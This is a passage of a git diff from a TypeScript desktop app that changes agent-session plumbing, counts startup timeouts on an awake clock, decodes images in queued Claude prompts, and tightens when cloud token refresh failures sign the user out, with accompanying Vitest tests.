-  const contextFloor = floor ? { contextFloor: floor } : {}
   return {
     ...options,
     ...recovery,
@@ -262,7 +270,7 @@ export async function readStructuredAgentSessionOptions(
     current: {
       ...current,
       acceptedInputSources,
-      ...(reportedModel ? { reportedModel } : {}),
+      reportedModel,
       ...(reportedEffort !== undefined ? { reportedEffort } : {}),
       defaulted,
       confirmed,
diff --git a/src/main/native-chat/agent-session-wire/providers/structured-agent-session-adapter-router.ts b/src/main/native-chat/agent-session-wire/providers/structured-agent-session-adapter-router.ts
index da43eee3fd1..b2b1ab2e8a5 100644
--- a/src/main/native-chat/agent-session-wire/providers/structured-agent-session-adapter-router.ts
+++ b/src/main/native-chat/agent-session-wire/providers/structured-agent-session-adapter-router.ts
@@ -205,6 +205,8 @@ export class StructuredAgentSessionAdapterRouter implements Adapter {
     this.liveOwnerOrNull(input.sessionId)?.captureMessageSteeringInputs?.(input) ?? {
       kind: 'codex-unavailable'
     }
+  noteOptionPick: Adapter['noteOptionPick'] = (input) =>
+    this.liveOwnerOrNull(input.sessionId)?.noteOptionPick?.(input)
 
   projectOptions: Adapter['projectOptions'] = (sessionId, options) =>
     this.liveOwnerOrNull(sessionId)?.projectOptions?.(sessionId, options)
diff --git a/src/main/native-chat/agent-session-wire/providers/structured-agent-session-adapter.ts b/src/main/native-chat/agent-session-wire/providers/structured-agent-session-adapter.ts
index 0a21fdac9d4..1ebe2aa9600 100644
--- a/src/main/native-chat/agent-session-wire/providers/structured-agent-session-adapter.ts
+++ b/src/main/native-chat/agent-session-wire/providers/structured-agent-session-adapter.ts
@@ -305,6 +305,8 @@ export type StructuredAgentSessionAdapter = StructuredAgentSessionAdapterStop &
   ): Promise<void | Readonly<Record<string, string>>>
   /** Opt in only when setOption can update idle metadata without a provider turn. */
   canSetOptionWhileIdle?(input: StructuredAgentSessionSetOptionInput): boolean
+  /** A saved pick retires this child's earlier execution reports until a turn carries it. */
+  noteOptionPick?(input: { sessionId: string; fence: number; key: string; value: string }): void
   /** Finite live compiler facts for this exact child, without a proposed card. */
   captureMessageSteeringInputs?(input: {
     sessionId: string
diff --git a/src/main/native-chat/agent-session-wire/publication/subscribers/testing/structured-agent-session-subscriber-failed-frame.test.ts b/src/main/native-chat/agent-session-wire/publication/subscribers/testing/structured-agent-session-subscriber-failed-frame.test.ts
deleted file mode 100644
index 79fd84206b7..00000000000
--- a/src/main/native-chat/agent-session-wire/publication/subscribers/testing/structured-agent-session-subscriber-failed-frame.test.ts
+++ /dev/null
@@ -1,71 +0,0 @@
-import { mkdtemp, rm } from 'node:fs/promises'
-import { tmpdir } from 'node:os'
-import { join } from 'node:path'
-import { afterEach, beforeEach, expect, it, vi } from 'vitest'
-import { AGENT_JOURNAL_THREAD_SCOPE } from '../../../../../../shared/agent-session/journal/agent-session-journal-types'
-import { claudeProviderHandle } from '../../../../../../shared/agent-session/lifecycle/agent-session-provider-handle-encoding'
-import type { AgentSessionSubscribeEvent } from '../../../../../../shared/agent-session/agent-session-wire'
-import { createTrackedJournalOpener } from '../../../../agent-session-journal/store-lifecycle/journal-host-database-test-support'
-import { AgentSessionSubscribers } from '../structured-agent-session-subscribers'
-
-const SESSION = 'failed-frame-session'
-let root: string
-const journals = createTrackedJournalOpener()
-
-beforeEach(async () => {
-  root = await mkdtemp(join(tmpdir(), 'orca-subscriber-failed-frame-'))
-  vi.spyOn(console, 'warn').mockImplementation(() => {})
-})
-
-afterEach(async () => {
-  vi.restoreAllMocks()
-  await journals.closeAll()
-  await rm(root, { recursive: true, force: true })
-})
-
-// #39926: a frame that failed to send dropped the subscriber but left its stream open, so the chat
-// view sat on a healthy-looking, silent stream until the tab was reopened.
-it('ends the stream of a subscriber dropped after a frame fails to send', async () => {
-  const journal = await journals.open({
-    identity: {
-      sessionId: SESSION,
-      workspaceId: 'workspace-1',
-      hostId: 'local',
-      agent: 'claude',
-      providerHandle: claudeProviderHandle('provider-1', null)
-    },
-    stateDirectory: join(root, 'journal')
-  })
-  const subscribers = new AgentSessionSubscribers()
-  const received: AgentSessionSubscribeEvent['type'][] = []
-  const initial = Promise.withResolvers<void>()
-  const ended = Promise.withResolvers<void>()
-  const end = vi.fn(() => ended.resolve())
-  subscribers.open({
-    id: 'chat-pane',
-    sessionId: SESSION,
-    journal,
-    fence: 1,
-    end,
-    emit: (event) => {
-      if (event.type === 'batch') {
-        throw new Error('frame could not be sent')
-      }
-      received.push(event.type)
-      initial.resolve()
-    }
-  })
-  await initial.promise
-  expect(received).toEqual(['snapshot'])
-
-  await journal.appendItem(
-    { provider: 'orca', clientMessageId: 'reply' },
-    { kind: 'status', text: 'reply' },
-    { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE }
-  )
-  subscribers.publish(SESSION, journal)
-  await ended.promise
-
-  expect(subscribers.subscriberCountForTests(SESSION)).toBe(0)
-  expect(end).toHaveBeenCalledTimes(1)
-})
diff --git a/src/main/native-chat/agent-session-wire/startup/structured-agent-session-startup-attempt.ts b/src/main/native-chat/agent-session-wire/startup/structured-agent-session-startup-attempt.ts
index ecdaeb17872..6e05a41e237 100644
--- a/src/main/native-chat/agent-session-wire/startup/structured-agent-session-startup-attempt.ts
+++ b/src/main/native-chat/agent-session-wire/startup/structured-agent-session-startup-attempt.ts
@@ -24,6 +24,7 @@ import {
   type StructuredAgentSessionTrackedStartup
 } from './structured-agent-session-startup-tracking'
 
+import { awakeNow } from '../../../power/awake-clock'
 import './structured-agent-session-startup-attempt-mint'
 
 type Tracked = StructuredAgentSessionTrackedStartup
@@ -44,12 +45,13 @@ export class StructuredAgentSessionStartupAttempts {
       breach?: (breached: StructuredAgentSessionExpiredStartup & { agent: string }) => void
       settled?: (settled: StructuredAgentSessionStartupSettled) => void
       limits?: Partial<StructuredAgentSessionStartupLimits>
-      /** Use elapsed time; host clocks may be pinned. */
+      /** Use elapsed time; host clocks may be pinned. Defaults to the awake clock, so time the
+       *  machine spends asleep never counts toward the ceiling. */
       now?: () => number
     }
   ) {
     this.limits = { ...STRUCTURED_AGENT_SESSION_STARTUP_LIMITS, ...deps.limits }
-    this.now = deps.now ?? Date.now
+    this.now = deps.now ?? awakeNow
   }
 
   /** A start registered before its first wait: its ceiling runs from now. */
diff --git a/src/main/native-chat/agent-session-wire/startup/structured-agent-session-startup-sleep.test.ts b/src/main/native-chat/agent-session-wire/startup/structured-agent-session-startup-sleep.test.ts
new file mode 100644
index 00000000000..915c6c7f902
--- /dev/null
+++ b/src/main/native-chat/agent-session-wire/startup/structured-agent-session-startup-sleep.test.ts
@@ -0,0 +1,53 @@
+// The startup ceiling measures awake time: a machine that sleeps while an agent starts must not
+// expire the start the moment it wakes. These run on the production default clock.
+
+import { afterEach, beforeEach, expect, it, vi } from 'vitest'
+import { STRUCTURED_AGENT_SESSION_STARTUP_CEILING_MS } from './structured-agent-session-startup-attempt-contract'
+import type * as SystemPowerLifecycle from '../../../power/system-power-lifecycle'
+import type * as StartupAttempt from './structured-agent-session-startup-attempt'
+
+let power: typeof SystemPowerLifecycle
+let Attempts: typeof StartupAttempt.StructuredAgentSessionStartupAttempts
+
+beforeEach(async () => {
+  vi.useFakeTimers({
+    toFake: ['Date', 'performance', 'setTimeout', 'clearTimeout']
+  })
+  vi.setSystemTime(new Date('2026-11-09T09:08:32-08:00'))
+  // A fresh process-wide awake clock and power state for each test.
+  vi.resetModules()
+  power = await import('../../../power/system-power-lifecycle')
+  ;({ StructuredAgentSessionStartupAttempts: Attempts } =
+    await import('./structured-agent-session-startup-attempt'))
+})
+
+afterEach(() => {
+  vi.useRealTimers()
+})
+
+/** The machine sleeps: wall time passes while no timers run; then the system reports the wake. */
+function sleepFor(ms: number): void {
+  power.publishSystemSuspend()
+  vi.setSystemTime(Date.now() + ms)
+  power.publishSystemResume()
+}
+
+async function awakeFor(ms: number): Promise<void> {
+  await vi.advanceTimersByTimeAsync(ms)
+}
+
+it('still expires once the start has been awake for the whole ceiling', async () => {
+  const expire = vi.fn()
+  const startup = new Attempts({ expire })
+  const { registeredAt } = startup.begin('session', 'attempt')
+
+  await awakeFor(2_000)
+  sleepFor(665_000)
+  await awakeFor(STRUCTURED_AGENT_SESSION_STARTUP_CEILING_MS - 3_000)
+  expect(expire).not.toHaveBeenCalled()
+
+  await awakeFor(1_000)
+  expect(startup.pastCeiling(registeredAt)).toBe(true)
+  await vi.waitFor(() => expect(expire).toHaveBeenCalledOnce())
+  startup.dispose()
+})
diff --git a/src/main/native-chat/transcript-line-decoders-claude-queued-prompt.test.ts b/src/main/native-chat/transcript-line-decoders-claude-queued-prompt.test.ts
index 543d923f845..392b5533a74 100644
--- a/src/main/native-chat/transcript-line-decoders-claude-queued-prompt.test.ts
+++ b/src/main/native-chat/transcript-line-decoders-claude-queued-prompt.test.ts
@@ -37,4 +37,18 @@ describe('Claude queued_command attachment', () => {
       parentId: 'tool-result-row'
     })
   })
+
+  it('keeps inline images from a prompt absorbed mid-turn, which have no source row', () => {
+    const line = queuedCommand({
+      prompt: [
+        { type: 'image', source: { type: 'base64', media_type: 'image/png', data: 'iVBORw0K' } },
+        { type: 'text', text: '[Image #3]' }
+      ],
+      commandMode: 'prompt'
+    })
+    expect(decodeClaudeTranscriptLine(line, 'fallback')?.blocks).toEqual([
+      { type: 'image-ref', url: 'data:image/png;base64,iVBORw0K' },
+      { type: 'text', text: '[Image #3]' }
+    ])
+  })
 })
diff --git a/src/main/native-chat/transcript-line-decoders-claude.ts b/src/main/native-chat/transcript-line-decoders-claude.ts
index 2e256af18e4..095e183e1d4 100644
--- a/src/main/native-chat/transcript-line-decoders-claude.ts
+++ b/src/main/native-chat/transcript-line-decoders-claude.ts
@@ -13,6 +13,7 @@ import {
 } from '../ai-vault/session-scanner-values'
 import { imageSourcePathFromText } from '../../shared/native-chat/transcript/native-chat-image-transcript-markers'
 import { claudeContentBlocks } from './transcript-record-blocks'
+import { isKnownRasterImageMimeType } from '../../shared/file-preview/raster-image-preview-limits'
 import { unwrapClaudePastedContentBlock } from '../../shared/claude-pasted-content'
 import { unwrapClaudeBashInputBlock } from '../../shared/claude-bash-input'
 import { claudeInterruptedMessageId } from './transcript-turn-markers'
@@ -161,7 +162,25 @@ function claudeQueuedPromptAsUserRecord(
   if (typeof prompt !== 'string' && !Array.isArray(prompt)) {
     return null
   }
-  return { ...record, type: 'user', message: { role: 'user', content: prompt } }
+  const content = Array.isArray(prompt) ? prompt.map(queuedPromptImageAsDataUrl) : prompt
+  return { ...record, type: 'user', message: { role: 'user', content } }
+}
+
+// Queued prompts get no image-source companion row; their inline base64 is the only image record.
+function queuedPromptImageAsDataUrl(item: unknown): unknown {
+  const record = asRecord(item)
+  const source = asRecord(record?.source)
+  const mediaType = extractString(source?.media_type) ?? undefined
+  const data = extractString(source?.data)
+  if (
+    record?.type !== 'image' ||
+    source?.type !== 'base64' ||
+    !data ||
+    !isKnownRasterImageMimeType(mediaType)
+  ) {
+    return item
+  }
+  return { ...record, source: { url: `data:${mediaType};base64,${data}` } }
 }
 
 function claudeStopHookFeedbackMessage(
diff --git a/src/main/orca-profiles/profile-cloud-client.test.ts b/src/main/orca-profiles/profile-cloud-client.test.ts
new file mode 100644
index 00000000000..bfd9ef8b54a
--- /dev/null
+++ b/src/main/orca-profiles/profile-cloud-client.test.ts
@@ -0,0 +1,36 @@
+import { afterEach, describe, expect, it, vi } from 'vitest'
+import type { OrcaCloudAuthConfig } from './profile-cloud-auth-config'
+import { createOrcaCloudProfile, OrcaCloudRequestError } from './profile-cloud-client'
+import type { OrcaCloudSession } from './profile-cloud-session-store'
+
+afterEach(() => {
+  vi.unstubAllGlobals()
+})
+
+describe('createOrcaCloudProfile', () => {
+  it('proves the sign-in with its refresh token alongside the access token', async () => {
+    const fetchImpl = vi.fn<typeof globalThis.fetch>(
+      async () => new Response(null, { status: 403 })
+    )
+    vi.stubGlobal('fetch', fetchImpl)
+    // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the call reads only this endpoint.
+    const config = {
+      profileEndpoint: 'https://login.test/v1/desktop/auth/profile'
+    } as OrcaCloudAuthConfig
+    // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the call reads only the two tokens.
+    const session = { accessToken: 'access-1', refreshToken: 'refresh-1' } as OrcaCloudSession
+
+    await expect(
+      createOrcaCloudProfile(config, session, { orgId: 'org-1', name: 'Work' })
+    ).rejects.toBeInstanceOf(OrcaCloudRequestError)
+
+    const [url, init] = fetchImpl.mock.calls[0]!
+    expect(url).toBe('https://login.test/v1/desktop/auth/profile')
+    expect(new Headers(init?.headers).get('authorization')).toBe('Bearer access-1')
+    expect(JSON.parse(String(init?.body))).toEqual({
+      orgId: 'org-1',
+      name: 'Work',
+      refreshToken: 'refresh-1'
+    })
+  })
+})
diff --git a/src/main/orca-profiles/profile-cloud-client.ts b/src/main/orca-profiles/profile-cloud-client.ts
index baa4cf1e471..a8835d167ce 100644
--- a/src/main/orca-profiles/profile-cloud-client.ts
+++ b/src/main/orca-profiles/profile-cloud-client.ts
@@ -157,8 +157,8 @@ function normalizeSessionResponse(value: unknown): OrcaCloudSessionExchangeRespo
 
 const CLOUD_REQUEST_TIMEOUT_MS = 30_000
 
-// A lost rotating-token response makes retries ambiguous; one longer attempt avoids replay.
-const CLOUD_REFRESH_TIMEOUT_MS = 60_000
+// Two attempts plus the replay delay must settle inside the server's 60s rotation grace.
+const CLOUD_REFRESH_TIMEOUT_MS = 20_000
 
 type PostJsonOptions = {
   accessToken?: string
@@ -170,6 +170,22 @@ export function isAmbiguousCloudRequestFailure(error: unknown): boolean {
   return !(error instanceof OrcaCloudRequestError)
 }
 
+// Proxies, CDNs and gateways answer with HTML; only the auth server's JSON carries a verdict.
+async function readCloudErrorCode(response: Response): Promise<string | undefined> {
+  if (!response.headers.get('content-type')?.toLowerCase().includes('application/json')) {
+    await cancelUnreadResponseBody(response)
+    return undefined
+  }
+  try {
+    const body: unknown = await response.json()
+    return body && typeof body === 'object' && 'error' in body && typeof body.error === 'string'
+      ? body.error
+      : undefined
+  } catch {
+    return undefined
+  }
+}
+
 async function postJson<T>(url: string, body: unknown, options?: PostJsonOptions): Promise<T> {
   const response = await fetch(url, {
     method: 'POST',
@@ -183,8 +199,7 @@ async function postJson<T>(url: string, body: unknown, options?: PostJsonOptions
     signal: AbortSignal.timeout(options?.timeoutMs ?? CLOUD_REQUEST_TIMEOUT_MS)
   })
   if (!response.ok) {
-    await cancelUnreadResponseBody(response)
-    throw new OrcaCloudRequestError(response.status)
+    throw new OrcaCloudRequestError(response.status, await readCloudErrorCode(response))
   }
   return (await response.json()) as T
 }
@@ -242,10 +257,8 @@ export async function createOrcaCloudProfile(
   return normalizeSessionResponse(
     await postJson(
       config.profileEndpoint,
-      {
-        orgId: args.orgId,
-        name: args.name
-      },
+      // The refresh token proves the long-lived sign-in, not just a short-lived access token.
+      { orgId: args.orgId, name: args.name, refreshToken: session.refreshToken },
       { accessToken: session.accessToken }
     )
   )
diff --git a/src/main/orca-profiles/profile-cloud-refresh-replay-guard.ts b/src/main/orca-profiles/profile-cloud-refresh-replay-guard.ts
index 5290fe347c8..0efc33c094a 100644
--- a/src/main/orca-profiles/profile-cloud-refresh-replay-guard.ts
+++ b/src/main/orca-profiles/profile-cloud-refresh-replay-guard.ts
@@ -1,7 +1,7 @@
 // Lost refresh replies may have rotated the token; replay can revoke the entire token family.
 
 // Briefly block retry loops after ambiguous rotation to avoid replay storms.
-export const AMBIGUOUS_REFRESH_REPLAY_DELAY_MS = 30_000
+export const AMBIGUOUS_REFRESH_REPLAY_DELAY_MS = 10_000
 const AMBIGUOUS_REFRESH_ATTEMPTS_MAX_ENTRIES = 512
 
 type AmbiguousRefreshAttempt = {
diff --git a/src/main/orca-profiles/profile-cloud-session-refresh.test.ts b/src/main/orca-profiles/profile-cloud-session-refresh.test.ts
new file mode 100644
index 00000000000..137b335b0da
--- /dev/null
+++ b/src/main/orca-profiles/profile-cloud-session-refresh.test.ts
@@ -0,0 +1,275 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+import type { OrcaCloudAuthConfig } from './profile-cloud-auth-config'
+import type { ActiveOrcaProfileState } from './profile-index-store'
+import type { OrcaCloudSession } from './profile-cloud-session-store'
+import type { OrcaProfileSummary } from '../../shared/orca-profiles'
+
+const store = vi.hoisted(() => {
+  const state: { session: OrcaCloudSession | null; signedOut: number } = {
+    session: null,
+    signedOut: 0
+  }
+  return state
+})
+
+vi.mock('./profile-cloud-session-owner', () => ({
+  readCloudSession: () =>
+    store.session ? { status: 'found', session: store.session } : { status: 'missing' },
+  takeCloudSessionTicket: () => 1,
+  commitCloudSessionRotation: (
+    _profileId: string,
+    _userDataPath: string,
+    _ticket: number,
+    _previous: OrcaCloudSession,
+    next: OrcaCloudSession
+  ) => {
+    store.session = {
+      accessToken: next.accessToken,
+      refreshToken: next.refreshToken,
+      expiresAt: next.expiresAt,
+      capabilities: next.capabilities
+    }
+    return store.session
+  },
+  signOutRevokedCloudSession: (
+    _profileId: string,
+    _userDataPath: string,
+    failed: OrcaCloudSession
+  ) => {
+    if (store.session?.refreshToken !== failed.refreshToken) {
+      return false
+    }
+    store.session = null
+    store.signedOut += 1
+    return true
+  }
+}))
+
+import { OrcaCloudRequestError } from './profile-cloud-client'
+import {
+  readFreshOrcaCloudSession,
+  runWithFreshOrcaCloudSession
+} from './profile-cloud-session-refresh'
+
+const HOUR_MS = 3_600_000
+const SERVER_ROTATION_GRACE_MS = 60_000
+const HTML_403 = '<html><body><h1>403 Forbidden</h1></body></html>'
+const HTML_502 = '<html><body><h1>502 Bad Gateway</h1></body></html>'
+
+const AUTH = 'https://auth.example.test'
+const config: OrcaCloudAuthConfig = {
+  apiBaseUrl: AUTH,
+  authorizeEndpoint: `${AUTH}/authorize`,
+  sessionEndpoint: `${AUTH}/session`,
+  refreshEndpoint: `${AUTH}/refresh`,
+  capabilitiesEndpoint: `${AUTH}/capabilities`,
+  profileEndpoint: `${AUTH}/profile`,
+  orgEndpoint: `${AUTH}/org`,
+  logoutEndpoint: `${AUTH}/logout`,
+  relayTokenEndpoint: `${AUTH}/relay-token`,
+  connectorTokenEndpoint: `${AUTH}/connector-token`,
+  relayDirectorUrl: AUTH,
+  clientId: 'client-1',
+  scope: 'openid'
+}
+
+let seq = 0
+let refreshCalls = 0
+let answerRefresh: (refreshToken: string) => Promise<Response>
+
+function reply(status: number, body: string, type = 'application/json'): Response {
+  return new Response(body, { status, headers: { 'content-type': type } })
+}
+
+function sessionReply(refreshToken: string): Response {
+  return reply(
+    200,
+    JSON.stringify({
+      accessToken: `access-${refreshToken}`,
+      refreshToken,
+      expiresAt: Date.now() + HOUR_MS,
+      cloud: { cloudProfileId: 'cloud-profile-1', userId: 'user-1', email: 'a@example.com' },
+      capabilities: { flags: {}, refreshedAt: 1 }
+    })
+  )
+}
+
+function signedIn(expired = true): ActiveOrcaProfileState {
+  seq += 1
+  store.signedOut = 0
+  store.session = {
+    accessToken: 'access-old',
+    refreshToken: `refresh-old-${seq}`,
+    expiresAt: expired ? Date.now() - 1 : Date.now() + HOUR_MS,
+    capabilities: { flags: {}, refreshedAt: 1 }
+  }
+  // A fresh profile id keeps the module's single-flight and replay-guard state per test.
+  const profile: OrcaProfileSummary = {
+    id: `profile-${seq}`,
+    name: 'Profile',
+    avatar: { kind: 'initials', initials: 'P', color: 'neutral' },
+    kind: 'cloud-linked',
+    createdAt: 1,
+    updatedAt: 1,
+    lastOpenedAt: 1,
+    cloud: {
+      userId: 'user-1',
+      cloudProfileId: 'cloud-profile-1',
+      email: 'a@example.com',
+      linkedAt: 1
+    }
+  }
+  return {
+    index: { schemaVersion: 1, activeProfileId: profile.id, profiles: [profile] },
+    profile,
+    dataFile: '',
+    stateDatabaseFile: '',
+    profileDirectory: ''
+  }
+}
+
+async function settle(promise: Promise<unknown>): Promise<unknown> {
+  const settled = promise.catch(() => 'threw')
+  await vi.advanceTimersByTimeAsync(5 * 60_000)
+  return settled
+}
+
+beforeEach(() => {
+  // Response body streams schedule on real immediates; only the request clock is faked.
+  vi.useFakeTimers({ now: 1_000_000, toFake: ['setTimeout', 'clearTimeout', 'Date'] })
+  vi.spyOn(console, 'warn').mockImplementation(() => undefined)
+  // Route request timeouts through fake timers so the timeout chain runs on the test clock.
+  vi.spyOn(AbortSignal, 'timeout').mockImplementation((ms) => {
+    const controller = new AbortController()
+    setTimeout(() => controller.abort(new DOMException('timed out', 'TimeoutError')), ms)
+    return controller.signal
+  })
+  refreshCalls = 0
+  vi.stubGlobal('fetch', (_url: string, init: RequestInit) => {
+    refreshCalls += 1
+    const body: { refreshToken?: unknown } = JSON.parse(String(init.body))
+    const refreshToken = String(body.refreshToken)
+    return Promise.race([
+      answerRefresh(refreshToken),
+      new Promise<never>((_, reject) =>
+        init.signal?.addEventListener('abort', () => reject(init.signal?.reason))
+      )
+    ])
+  })
+})
+
+afterEach(() => {
+  vi.unstubAllGlobals()
+  vi.restoreAllMocks()
+  vi.useRealTimers()
+})
+
+describe('refresh failures that must keep the sign-in', () => {
+  it.each([
+    ['403 HTML from a proxy, CDN, WAF or IAM layer', () => reply(403, HTML_403, 'text/html')],
+    ['403 JSON', () => reply(403, '{"error":"forbidden"}')],
+    ['401 HTML from a proxy', () => reply(401, HTML_403, 'text/html')],
+    ['401 JSON without the refresh-token verdict', () => reply(401, '{"error":"invalid_token"}')],
+    [
+      '401 JSON verdict served as HTML',
+      () => reply(401, '{"error":"invalid_refresh_token"}', 'text/html')
+    ],
+    ['429 rate limited', () => reply(429, '{"error":"rate_limited"}')],
+    ['502 HTML', () => reply(502, HTML_502, 'text/html')],
+    ['503 JSON', () => reply(503, '{"error":"unavailable"}')]
+  ])('%s', async (_name, response) => {
+    const active = signedIn()
+    answerRefresh = async () => response()
+
+    await settle(readFreshOrcaCloudSession(config, active, '/user-data'))
+
+    expect(store.signedOut).toBe(0)
+    expect(store.session).not.toBeNull()
+  })
+})
+
+describe('refresh rejections that end the sign-in', () => {
+  it.each(['signed_out', 'revoked', 'expired', 'reused', undefined])(
+    '401 invalid_refresh_token, reason %s',
+    async (reason) => {
+      const active = signedIn()
+      answerRefresh = async () =>
+        reply(401, JSON.stringify({ error: 'invalid_refresh_token', reason }))
+
+      const result = await settle(readFreshOrcaCloudSession(config, active, '/user-data'))
+
+      expect(result).toEqual({ status: 'reconnect-required' })
+      expect(store.signedOut).toBe(1)
+    }
+  )
+})
+
+describe('a refresh the server committed but answered too slowly', () => {
+  it('resolves inside the rotation grace instead of replaying the token after it', async () => {
+    const active = signedIn()
+    const rotations = new Map<string, { at: number; next: string }>()
+    answerRefresh = async (refreshToken) => {
+      const prior = rotations.get(refreshToken)
+      if (prior) {
+        return Date.now() - prior.at < SERVER_ROTATION_GRACE_MS
+          ? sessionReply(prior.next)
+          : reply(401, '{"error":"invalid_refresh_token","reason":"reused"}')
+      }
+      rotations.set(refreshToken, { at: Date.now(), next: 'refresh-next' })
+      return new Promise<never>(() => undefined)
+    }
+
+    const result = await settle(readFreshOrcaCloudSession(config, active, '/user-data'))
+
+    expect(result).toMatchObject({ status: 'found', session: { refreshToken: 'refresh-next' } })
+    expect(store.signedOut).toBe(0)
+    expect(refreshCalls).toBe(2)
+  })
+})
+
+describe('operations wrapped in a fresh session', () => {
+  it('keeps the sign-in when the operation still answers 401 after a successful refresh', async () => {
+    const active = signedIn(false)
+    answerRefresh = async () => sessionReply('refresh-next')
+
+    const result = runWithFreshOrcaCloudSession(config, active, '/user-data', async () => {
+      throw new OrcaCloudRequestError(401)
+    })
+
+    await expect(result).rejects.toBeInstanceOf(OrcaCloudRequestError)
+    expect(store.signedOut).toBe(0)
+    expect(store.session?.refreshToken).toBe('refresh-next')
+  })
+
+  it('does not rotate the token when the operation answers 403', async () => {
+    const active = signedIn(false)
+    answerRefresh = async () => sessionReply('refresh-next')
+
+    const result = runWithFreshOrcaCloudSession(config, active, '/user-data', async () => {
+      throw new OrcaCloudRequestError(403)
+    })
+
+    await expect(result).rejects.toMatchObject({ statusCode: 403 })
+    expect(refreshCalls).toBe(0)
+  })
+
+  it('rotates once for concurrent and repeated 401s within the backoff window', async () => {
+    const active = signedIn(false)
+    let rotation = 0
+    answerRefresh = async () => sessionReply(`refresh-next-${++rotation}`)
+    const rejectedCall = (): Promise<unknown> =>
+      runWithFreshOrcaCloudSession(config, active, '/user-data', async () => {
+        throw new OrcaCloudRequestError(401)
+      }).catch((error: unknown) => error)
+
+    const concurrent = await Promise.all([rejectedCall(), rejectedCall(), rejectedCall()])
+    await vi.advanceTimersByTimeAsync(60_000)
+    const repeated = [await rejectedCall(), await rejectedCall()]
+
+    for (const error of [...concurrent, ...repeated]) {
+      expect(error).toMatchObject({ statusCode: 401 })
+    }
+    expect(refreshCalls).toBe(1)
+    expect(store.signedOut).toBe(0)
+  })
+})
diff --git a/src/main/orca-profiles/profile-cloud-session-refresh.ts b/src/main/orca-profiles/profile-cloud-session-refresh.ts
index 3008dcaecd9..77b7cfa11de 100644
--- a/src/main/orca-profiles/profile-cloud-session-refresh.ts
+++ b/src/main/orca-profiles/profile-cloud-session-refresh.ts
@@ -8,6 +8,7 @@ import {
 } from './profile-cloud-client'
 import type { OrcaCloudSessionExchangeResponse } from './profile-cloud-session-exchange'
 import {
+  AMBIGUOUS_REFRESH_REPLAY_DELAY_MS,
   AmbiguousRefreshReplayBlockedError,
   blocksAmbiguousRefreshReplay,
   forgetAmbiguousRefreshAttempt,
@@ -36,9 +37,31 @@ function shouldRefreshCloudSession(session: OrcaCloudSession, now = Date.now()):
   return session.expiresAt <= now + CLOUD_SESSION_REFRESH_SKEW_MS
 }
 
-export function isOrcaCloudAuthFailure(error: unknown): boolean {
+// A 403 is a permission answer, never an expired token, so only a 401 may force a refresh.
+function isAccessTokenRejected(error: unknown): boolean {
+  return error instanceof OrcaCloudRequestError && error.statusCode === 401
+}
+
+// An operation that keeps answering 401 must not rotate the token on every call.
+const FORCED_REFRESH_BACKOFF_MS = 5 * 60_000
+const lastForcedRefreshAt = new Map<string, number>()
+
+function takeForcedRefreshSlot(key: string, now = Date.now()): boolean {
+  const last = lastForcedRefreshAt.get(key)
+  // A clock rollback must not stretch the backoff.
+  if (last !== undefined && now >= last && now - last < FORCED_REFRESH_BACKOFF_MS) {
+    return false
+  }
+  lastForcedRefreshAt.set(key, now)
+  return true
+}
+
+// Only the auth server's own verdict may discard a sign-in; proxies, outages and limits never do.
+function isRefreshTokenRejected(error: unknown): boolean {
   return (
-    error instanceof OrcaCloudRequestError && (error.statusCode === 401 || error.statusCode === 403)
+    error instanceof OrcaCloudRequestError &&
+    error.statusCode === 401 &&
+    error.errorCode === 'invalid_refresh_token'
   )
 }
 
@@ -67,12 +90,8 @@ function clearCloudSessionIfUnchanged(
 function warnIfPossibleRefreshReplay(
   profileId: string,
   userDataPath: string,
-  failed: OrcaCloudSession,
-  error: unknown
+  failed: OrcaCloudSession
 ): void {
-  if (!(error instanceof OrcaCloudRequestError) || error.statusCode !== 401) {
-    return
-  }
   const key = orcaCloudSessionKey(profileId, userDataPath)
   if (!wasRefreshTokenAmbiguouslyAttempted(key, failed.refreshToken)) {
     return
@@ -107,19 +126,19 @@ async function attemptCloudSessionRefresh(
       if (ambiguous) {
         recordAmbiguousRefreshAttempt(key, session.refreshToken)
       }
-      // Retry only explicit 5xx rejection; ambiguous failures may have spent the token.
-      const retryable = !ambiguous && attempt === 0 && isRetryableCloudRefreshRejection(error)
-      if (!ambiguous && !retryable) {
+      if (attempt > 0 || (!ambiguous && !isRetryableCloudRefreshRejection(error))) {
         throw error
       }
+      // An unanswered attempt may have rotated the token; replay it once while the server's
+      // rotation grace still returns the successor, instead of after the grace treats it as reuse.
+      if (ambiguous) {
+        await new Promise((resolve) => setTimeout(resolve, AMBIGUOUS_REFRESH_REPLAY_DELAY_MS))
+      }
       // Reuse concurrent rotations instead of replaying the now-spent token.
       const current = readCloudSession(active.profile.id, userDataPath)
       if (current.status === 'found' && current.session.refreshToken !== session.refreshToken) {
         return { status: 'rotated-elsewhere', session: current.session }
       }
-      if (ambiguous) {
-        throw error
-      }
     }
   }
 }
@@ -198,8 +217,8 @@ export async function readFreshOrcaCloudSession(
       session: await refreshStoredCloudSession(config, active, userDataPath, session.session)
     }
   } catch (error) {
-    if (isOrcaCloudAuthFailure(error)) {
-      warnIfPossibleRefreshReplay(active.profile.id, userDataPath, session.session, error)
+    if (isRefreshTokenRejected(error)) {
+      warnIfPossibleRefreshReplay(active.profile.id, userDataPath, session.session)
       clearCloudSessionIfUnchanged(active.profile.id, userDataPath, session.session)
       return { status: 'reconnect-required' }
     }
@@ -219,8 +238,8 @@ export async function forceRefreshOrcaCloudSession(
       session: await refreshStoredCloudSession(config, active, userDataPath, session)
     }
   } catch (error) {
-    if (isOrcaCloudAuthFailure(error)) {
-      warnIfPossibleRefreshReplay(active.profile.id, userDataPath, session, error)
+    if (isRefreshTokenRejected(error)) {
+      warnIfPossibleRefreshReplay(active.profile.id, userDataPath, session)
       clearCloudSessionIfUnchanged(active.profile.id, userDataPath, session)
       return { status: 'reconnect-required' }
     }
@@ -241,7 +260,15 @@ export async function runWithFreshOrcaCloudSession<T>(
   try {
     return { status: 'ok', value: await operation(session.session) }
   } catch (error) {
-    if (!isOrcaCloudAuthFailure(error)) {
+    if (!isAccessTokenRejected(error)) {
+      throw error
+    }
+    // Reuse a rotation that already happened or is in flight; start a new one only once per backoff.
+    const key = orcaCloudSessionKey(active.profile.id, userDataPath)
+    const stored = readCloudSession(active.profile.id, userDataPath)
+    const rotatedSince =
+      stored.status === 'found' && stored.session.refreshToken !== session.session.refreshToken
